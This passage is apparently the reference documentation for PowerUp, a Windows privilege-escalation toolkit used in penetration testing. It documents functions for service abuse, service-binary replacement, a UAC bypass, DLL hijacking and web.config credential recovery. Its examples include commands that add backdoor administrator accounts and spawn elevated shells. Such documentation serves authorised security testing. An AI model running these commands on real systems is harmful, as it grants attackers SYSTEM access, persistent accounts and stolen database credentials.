Default value: TestSVC
Accept pipeline input: False
Accept wildcard characters: False
```

### -PipeName
The name of the named pipe used with named pipe impersonation, defaults to ‘TestSVC’.

```yaml
Type: String
Parameter Sets: NamedPipe
Aliases:

Required: False
Position: Named
Default value: TestSVC
Accept pipeline input: False
Accept wildcard characters: False
```

### -RevToSelf
Reverts the current thread privileges.

```yaml
Type: SwitchParameter
Parameter Sets: RevToSelf
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -WhoAmI
Switch.
Display the credentials for the current PowerShell thread.

```yaml
Type: SwitchParameter
Parameter Sets: WhoAmI
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/](https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/)



            

          

      

      

    

  

    
      
          
            
  # Get-UnattendedInstallFile

## SYNOPSIS
Checks several locations for remaining unattended installation files,
which may have deployment credentials.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-UnattendedInstallFile
`

## DESCRIPTION
{{Fill in the Description}}

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-UnattendedInstallFile
`

Finds any remaining unattended installation files.

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.UnattendedInstallFile

Custom PSObject containing results.

## NOTES

## RELATED LINKS

[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)



            

          

      

      

    

  

    
      
          
            
  # Get-UnquotedService

## SYNOPSIS
Get-UnquotedService Returns the name and binary path for services with unquoted paths
that also have a space in the name.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission

## SYNTAX

`
Get-UnquotedService
`

## DESCRIPTION
Uses Get-WmiObject to query all win32_service objects and extract out
the binary pathname for each.
Then checks if any binary paths have a space
and aren’t quoted.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-UnquotedService
`

Get a set of potentially exploitable services.

## PARAMETERS

## INPUTS

## OUTPUTS

### PowerUp.UnquotedService

## NOTES

## RELATED LINKS

[https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb)



            

          

      

      

    

  

    
      
          
            
  # Get-WebConfig

## SYNOPSIS
This script will recover cleartext and encrypted connection strings from all web.config
files on the system.
Also, it will decrypt them if needed.

Author: Scott Sutherland, Antti Rantasaari
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-WebConfig
`

## DESCRIPTION
This script will identify all of the web.config files on the system and recover the
connection strings used to support authentication to backend databases.
If needed, the
script will also decrypt the connection strings on the fly.
The output supports the
pipeline which can be used to convert all of the results into a pretty table by piping
to format-table.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Return a list of cleartext and decrypted connect strings from web.config files.
`

Get-WebConfig

user   : s1admin
pass   : s1password
dbserv : 192.168.1.103server1
vdir   : C:test2
path   : C:test2web.config
encr   : No

user   : s1user
pass   : s1password
dbserv : 192.168.1.103server1
vdir   : C:inetpubwwwroot
path   : C:inetpubwwwrootweb.config
encr   : Yes

### ————————– EXAMPLE 2 ————————–
`
Return a list of clear text and decrypted connect strings from web.config files.
`

Get-WebConfig | Format-Table -Autosize

user    pass       dbserv                vdir               path                          encr
—-    —-       ——                —-               —-                          —-
s1admin s1password 192.168.1.101server1 C:App1            C:App1web.config            No
s1user  s1password 192.168.1.101server1 C:inetpubwwwroot C:inetpubwwwrootweb.config No
s2user  s2password 192.168.1.102server2 C:App2            C:App2testweb.config       No
s2user  s2password 192.168.1.102server2 C:App2            C:App2web.config            Yes
s3user  s3password 192.168.1.103server3 D:App3            D:App3web.config            No

## PARAMETERS

## INPUTS

## OUTPUTS

### System.Boolean

System.Data.DataTable

## NOTES
Below is an alterantive method for grabbing connection strings, but it doesn’t support decryption.
for /f “tokens=*” %i in (‘%systemroot%system32inetsrvappcmd.exe list sites /text:name’) do %systemroot%system32inetsrvappcmd.exe list config “%i” -section:connectionstrings

Author: Scott Sutherland - 2014, NetSPI
Author: Antti Rantasaari - 2014, NetSPI

## RELATED LINKS

[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
http://www.netspi.com
https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx
http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx)



            

          

      

      

    

  

    
      
          
            
  # Install-ServiceBinary

## SYNOPSIS
Replaces the service binary for the specified service with one that executes
a specified command as SYSTEM.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary

## SYNTAX

```
Install-ServiceBinary [-Name] <String> [-UserName <String>] [-Password <String>] [-LocalGroup <String>]


[-Credential <PSCredential>] [-Command <String>]




```

## DESCRIPTION
Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the
current user can  modify the associated service binary listed in the binPath.
Backs up
the original service binary to “OriginalService.exe.bak” in service binary location,
and then uses Write-ServiceBinary to create a C# service binary that either adds
a local administrator user or executes a custom command.
The new service binary is
replaced in the original service binary path, and a custom object is returned that
captures the original and new service binary configuration.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Install-ServiceBinary -Name VulnSVC
`

Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds a local Administrator (john/Password123!).

### ————————– EXAMPLE 2 ————————–
`
Get-Service VulnSVC | Install-ServiceBinary
`

Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds a local Administrator (john/Password123!).

### ————————– EXAMPLE 3 ————————–
`
Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
`

Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds TESTLABjohn to the Administrators local group.

### ————————– EXAMPLE 4 ————————–
`
Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
`

Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that adds a local Administrator (backdoor/Password123!).

### ————————– EXAMPLE 5 ————————–
`
Install-ServiceBinary -Name VulnSVC -Command "net ..."
`

Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
for VulnSVC with one that executes a custom command.

## PARAMETERS

### -Name
The service name the EXE will be running under.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -UserName
The [domain\]username to add.
If not given, it defaults to “john”.
Domain users are not created, only added to the specified localgroup.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```

### -Password
The password to set for the added user.
If not given, it defaults to “Password123!”

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```

### -LocalGroup
Local group name to add the user to (default of ‘Administrators’).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object specifying the user/password to add.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Command
Custom command to execute instead of user creation.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.ServiceBinary.Installed

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Invoke-PrivescAudit

## SYNOPSIS
Executes all functions that check for various Windows privilege escalation opportunities.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Invoke-PrivescAudit [-HTMLReport]
`

## DESCRIPTION
Executes all functions that check for various Windows privilege escalation opportunities.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-PrivescAudit
`

Runs all escalation checks and outputs a status report for discovered issues.

### ————————– EXAMPLE 2 ————————–
`
Invoke-PrivescAudit -HTMLReport
`

Runs all escalation checks and outputs a status report to SYSTEM.username.html
detailing any discovered issues.

## PARAMETERS

### -HTMLReport
Switch.
Write a HTML version of the report to SYSTEM.username.html.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.String

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Invoke-ServiceAbuse

## SYNOPSIS
Abuses a function the current user has configuration rights on in order
to add a local administrator or execute a custom command.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath

## SYNTAX

```
Invoke-ServiceAbuse [-Name] <String[]> [-UserName <String>] [-Password <String>] [-LocalGroup <String>]


[-Credential <PSCredential>] [-Command <String>] [-Force]




```

## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
user has configuration modification rights on and executes a series of automated actions to
execute commands as SYSTEM.
First, the service is enabled if it was set as disabled and the
original service binary path and configuration state are preserved.
Then the service is stopped
and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a
series of commands, the service is started, stopped, and the next command is configured.
After
completion, the original service configuration is restored and a custom object is returned
that captures the service abused and commands run.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-ServiceAbuse -Name VulnSVC
`

Abuses service ‘VulnSVC’ to add a localuser “john” with password
“Password123!
to the  machine and local administrator group

### ————————– EXAMPLE 2 ————————–
`
Get-Service VulnSVC | Invoke-ServiceAbuse
`

Abuses service ‘VulnSVC’ to add a localuser “john” with password
“Password123!
to the  machine and local administrator group

### ————————– EXAMPLE 3 ————————–
`
Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john"
`

Abuses service ‘VulnSVC’ to add a the domain user TESTLABjohn to the
local adminisrtators group.

### ————————– EXAMPLE 4 ————————–
`
Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users"
`

Abuses service ‘VulnSVC’ to add a localuser “backdoor” with password
“password” to the  machine and local “Power Users” group

### ————————– EXAMPLE 5 ————————–
`
Invoke-ServiceAbuse -Name VulnSVC -Command "net ..."
`

Abuses service ‘VulnSVC’ to execute a custom command.

## PARAMETERS

### -Name
An array of one or more service names to abuse.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -UserName
The [domain\]username to add.
If not given, it defaults to “john”.
Domain users are not created, only added to the specified localgroup.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```

### -Password
The password to set for the added user.
If not given, it defaults to “Password123!”

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```

### -LocalGroup
Local group name to add the user to (default of ‘Administrators’).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object specifying the user/password to add.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Command
Custom command to execute instead of user creation.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Force
Switch.
Force service stopping, even if other services are dependent.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.AbusedService

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Invoke-WScriptUACBypass

## SYNOPSIS
Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.

Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Invoke-WScriptUACBypass [-Command] <String> [-WindowStyle <String>]
`

## DESCRIPTION
Drops wscript.exe and a custom manifest into C:Windows and then proceeds to execute
VBScript using the wscript executable with the new manifest.
The VBScript executed by
C:Windowswscript.exe will run elevated.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
"
`

Launches the specified PowerShell encoded command in high-integrity.

### ————————– EXAMPLE 2 ————————–
`
Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible'
`

Spawns a high integrity cmd.exe.

## PARAMETERS

### -Command
The shell command you want wscript.exe to run elevated.

```yaml
Type: String
Parameter Sets: (All)
Aliases: CMD

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -WindowStyle
Whether to display or hide the window for the executed ‘-Command X’.
Accepted values are ‘Hidden’ and ‘Normal’/’Visible.
Default is ‘Hidden’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Hidden
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
https://github.com/Vozzie/uacscript
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1](http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
https://github.com/Vozzie/uacscript
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1)



            

          

      

      

    

  

    
      
          
            
  # Restore-ServiceBinary

## SYNOPSIS
Restores a service binary backed up by Install-ServiceBinary.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Get-ModifiablePath

## SYNTAX

`
Restore-ServiceBinary [-Name] <String> [[-BackupPath] <String>]
`

## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
checks for the existence of an “OriginalServiceBinary.exe.bak” in the service
binary location.
If it exists, the backup binary is restored to the original
binary path.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Restore-ServiceBinary -Name VulnSVC
`

Restore the original binary for the service ‘VulnSVC’.

### ————————– EXAMPLE 2 ————————–
`
Get-Service VulnSVC | Restore-ServiceBinary
`

Restore the original binary for the service ‘VulnSVC’.

### ————————– EXAMPLE 3 ————————–
`
Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'
`

Restore the original binary for the service ‘VulnSVC’ from a custom location.

## PARAMETERS

### -Name
The service name to restore a binary for.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -BackupPath
Optional manual path to the backup binary.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.ServiceBinary.Installed

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Set-ServiceBinaryPath

## SYNOPSIS
Sets the binary path for a service to a specified value.

Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

`
Set-ServiceBinaryPath [-Name] <String[]> [-Path] <String>
`

## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a
service handle to the service with ConfigControl access using the GetServiceHandle
Win32 API call.
ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath)
to the string value specified by binPath, and the handle is closed off.

Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
Dacl field to each object.
It does this by opening a handle with ReadControl for the
service with using the GetServiceHandle Win32 API call and then uses
QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Set-ServiceBinaryPath -Name VulnSvc -Path 'net user john Password123! /add'
`

Sets the binary path for ‘VulnSvc’ to be a command to add a user.

### ————————– EXAMPLE 2 ————————–
`
Get-Service VulnSvc | Set-ServiceBinaryPath -Path 'net user john Password123! /add'
`

Sets the binary path for ‘VulnSvc’ to be a command to add a user.

## PARAMETERS

### -Name
An array of one or more service names to set the binary path for.
Required.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Path
The new binary path (lpBinaryPathName) to set for the specified service.
Required.

```yaml
Type: String
Parameter Sets: (All)
Aliases: BinaryPath, binPath

Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.Boolean

$True if configuration succeeds, $False otherwise.

## NOTES

## RELATED LINKS

[https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx)



            

          

      

      

    

  

    
      
          
            
  # Test-ServiceDaclPermission

## SYNOPSIS
Tests one or more passed services or service names against a given permission set,
returning the service objects where the current user have the specified permissions.

Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Add-ServiceDacl

## SYNTAX

`
Test-ServiceDaclPermission [-Name] <String[]> [-Permissions <String[]>] [-PermissionSet <String>]
`

## DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
a service Dacl to the service object with Add-ServiceDacl.
All group SIDs for the current
user are enumerated services where the user has some type of permission are filtered.
The
services are then filtered against a specified set of permissions, and services where the
current user have the specified permissions are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-Service | Test-ServiceDaclPermission
`

Return all service objects where the current user can modify the service configuration.

### ————————– EXAMPLE 2 ————————–
`
Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
`

Return all service objects that the current user can restart.

### ————————– EXAMPLE 3 ————————–
`
Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'
`

Return the VulnSVC object if the current user has start permissions.

## PARAMETERS

### -Name
An array of one or more service names to test against the specified permission set.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: ServiceName, Service

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Permissions
A manual set of permission to test again.
One of:’QueryConfig’, ‘ChangeConfig’, ‘QueryStatus’,
‘EnumerateDependents’, ‘Start’, ‘Stop’, ‘PauseContinue’, ‘Interrogate’, UserDefinedControl’,
‘Delete’, ‘ReadControl’, ‘WriteDac’, ‘WriteOwner’, ‘Synchronize’, ‘AccessSystemSecurity’,
‘GenericAll’, ‘GenericExecute’, ‘GenericWrite’, ‘GenericRead’, ‘AllAccess’

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -PermissionSet
A pre-defined permission set to test a specified service against.
‘ChangeConfig’, ‘Restart’, or ‘AllAccess’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: ChangeConfig
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### ServiceProcess.ServiceController

## NOTES

## RELATED LINKS

[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/)



            

          

      

      

    

  

    
      
          
            
  # Write-HijackDll

## SYNOPSIS
Patches in the path to a specified .bat (containing the specified command) into a
pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

```
Write-HijackDll [-DllPath] <String> [[-Architecture] <String>] [[-BatPath] <String>] [[-UserName] <String>]


[[-Password] <String>] [[-LocalGroup] <String>] [[-Credential] <PSCredential>] [[-Command] <String>]




```

## DESCRIPTION
First builds a self-deleting .bat file that executes the specified -Command or local user,
to add and writes the.bat out to -BatPath.
The BatPath is then patched into a pre-compiled
C++ DLL that is built to be hijackable by the IKEEXT service.
There are two DLLs, one for
x86 and one for x64, and both are contained as base64-encoded strings.
The DLL is then
written out to the specified OutputFile.

## EXAMPLES

### Example 1
`
PS C:\> {{ Add example code here }}
`

{{ Add example description here }}

## PARAMETERS

### -DllPath
File name to write the generated DLL out to.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Architecture
The Architecture to generate for the DLL, x86 or x64.
If not specified, PowerUp
will try to automatically determine the correct architecture.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -BatPath
Path to the .bat for the DLL to launch.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserName
The [domain\]username to add.
If not given, it defaults to “john”.
Domain users are not created, only added to the specified localgroup.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```

### -Password
The password to set for the added user.
If not given, it defaults to “Password123!”

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```

### -LocalGroup
Local group name to add the user to (default of ‘Administrators’).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 6
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object specifying the user/password to add.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 7
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Command
Custom command to execute instead of user creation.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 8
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.HijackableDLL

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Write-ServiceBinary

## SYNOPSIS
Patches in the specified command to a pre-compiled C# service executable and
writes the binary out to the specified ServicePath location.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

```
Write-ServiceBinary [-Name] <String> [-UserName <String>] [-Password <String>] [-LocalGroup <String>]


[-Credential <PSCredential>] [-Command <String>] [-Path <String>]




```

## DESCRIPTION
Takes a pre-compiled C# service binary and patches in the appropriate commands needed
for service abuse.
If a -UserName/-Password or -Credential is specified, the command
patched in creates a local user and adds them to the specified -LocalGroup, otherwise
the specified -Command is patched in.
The binary is then written out to the specified
-ServicePath.
Either -Name must be specified for the service, or a proper object from
Get-Service must be passed on the pipeline in order to patch in the appropriate service
name the binary will be running under.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Write-ServiceBinary -Name VulnSVC
`

Writes a service binary to service.exe in the local directory for VulnSVC that
adds a local Administrator (john/Password123!).

### ————————– EXAMPLE 2 ————————–
`
Get-Service VulnSVC | Write-ServiceBinary
`

Writes a service binary to service.exe in the local directory for VulnSVC that
adds a local Administrator (john/Password123!).

### ————————– EXAMPLE 3 ————————–
`
Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
`

Writes a service binary to service.exe in the local directory for VulnSVC that adds
TESTLABjohn to the Administrators local group.

### ————————– EXAMPLE 4 ————————–
`
Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
`

Writes a service binary to service.exe in the local directory for VulnSVC that
adds a local Administrator (backdoor/Password123!).

### ————————– EXAMPLE 5 ————————–
`
Write-ServiceBinary -Name VulnSVC -Command "net ..."
`

Writes a service binary to service.exe in the local directory for VulnSVC that
executes a custom command.

## PARAMETERS

### -Name
The service name the EXE will be running under.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -UserName
The [domain\]username to add.
If not given, it defaults to “john”.
Domain users are not created, only added to the specified localgroup.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```

### -Password
The password to set for the added user.
If not given, it defaults to “Password123!”

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Password123!
Accept pipeline input: False
Accept wildcard characters: False
```

### -LocalGroup
Local group name to add the user to (default of ‘Administrators’).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object specifying the user/password to add.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Command
Custom command to execute instead of user creation.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Path
Path to write the binary out to, defaults to ‘service.exe’ in the local directory.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: “$(Convert-Path .)service.exe”
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.ServiceBinary

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Write-UserAddMSI

## SYNOPSIS
Writes out a precompiled MSI installer that prompts for a user/group addition.
This function can be used to abuse Get-RegistryAlwaysInstallElevated.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Write-UserAddMSI [[-Path] <String>]
`

## DESCRIPTION
Writes out a precompiled MSI installer that prompts for a user/group addition.
This function can be used to abuse Get-RegistryAlwaysInstallElevated.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Write-UserAddMSI
`

Writes the user add MSI to the local directory.

## PARAMETERS

### -Path
{{Fill Path Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServiceName

Required: False
Position: 1
Default value: UserAdd.msi
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerUp.UserAddMSI

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  ## PowerUp

PowerUp aims to be a clearinghouse of common Windows privilege escalation
vectors that rely on misconfigurations.

Running Invoke-AllChecks will output any identifiable vulnerabilities along
with specifications for any abuse functions. The -HTMLReport flag will also
generate a COMPUTER.username.html version of the report.

Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None


	### Token/Privilege Enumeration/Abuse:
	Get-ProcessTokenGroup               -   returns all SIDs that the current token context is a part of, whether they are disabled or not
Get-ProcessTokenPrivilege           -   returns all privileges for the current (or specified) process ID
Enable-Privilege                    -   enables a specific privilege for the current process



	### Service Enumeration/Abuse:
	Test-ServiceDaclPermission          -   tests one or more passed services or service names against a given permission set
Get-UnquotedService                 -   returns services with unquoted paths that also have a space in the name
Get-ModifiableServiceFile           -   returns services where the current user can write to the service binary path or its config
Get-ModifiableService               -   returns services the current user can modify
Get-ServiceDetail                   -   returns detailed information about a specified service
Set-ServiceBinaryPath               -   sets the binary path for a service to a specified value
Invoke-ServiceAbuse                 -   modifies a vulnerable service to create a local admin or execute a custom command
Write-ServiceBinary                 -   writes out a patched C# service binary that adds a local admin or executes a custom command
Install-ServiceBinary               -   replaces a service binary with one that adds a local admin or executes a custom command
Restore-ServiceBinary               -   restores a replaced service binary with the original executable



	### DLL Hijacking:
	Find-ProcessDLLHijack               -   finds potential DLL hijacking opportunities for currently running processes
